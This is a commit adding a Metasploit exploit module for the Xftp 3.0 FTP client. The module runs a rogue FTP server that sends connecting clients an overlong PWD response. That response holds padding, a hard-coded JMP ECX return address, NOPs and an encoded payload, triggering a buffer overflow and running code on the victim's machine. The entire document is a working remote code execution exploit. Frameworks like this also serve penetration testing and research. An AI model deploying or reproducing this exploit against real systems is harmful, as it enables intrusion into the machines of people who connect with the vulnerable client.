add exploit module for xftp client from dookie

git-svn-id: file:///home/svn/framework3/trunk@9138 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/xftp_client_pwd.rb

@@ -0,0 +1,98 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit',
+			'Description'    => %q{
+					This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered 
+				through an excessively long PWD message.
+			},
+			'Author' 	 =>
+				[
+					'zombiefx',  # Original exploit author
+					'dookie'     # MSF module author
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.exploit-db.com/exploits/12332' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 434,
+					'BadChars' => "\x00\x0a",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Apr 22 2010',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
+				OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
+			], self.class)
+	end
+
+	def on_client_connect(client)
+		return if ((p = regenerate_payload(client)) == nil)
+
+		buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
+		client.put(buffer)
+	end
+
+	def on_client_data(client)
+
+		# Get the client username
+		client.get_once
+
+		# Prompt the client for the password.
+		user = "331 Anonymous access allowed.\r\n"
+		client.put(user)
+		client.get_once
+
+		# Handle the clients PWD command.
+		pass = "230 Login successful.\r\n230 User logged in.\r\n"
+		client.put(pass)
+		client.get_once
+
+		# Send the exploit
+		sploit = "257 \"/"
+		sploit << rand_text_alpha_upper(1019)
+		sploit << [ target.ret ].pack('V')
+		sploit << make_nops(55)
+		sploit << payload.encoded
+		sploit << "\" is current directory.\r\n"
+
+		client.put(sploit)
+
+		# Get the CWD from the client
+		client.get_once
+
+	end
+
+end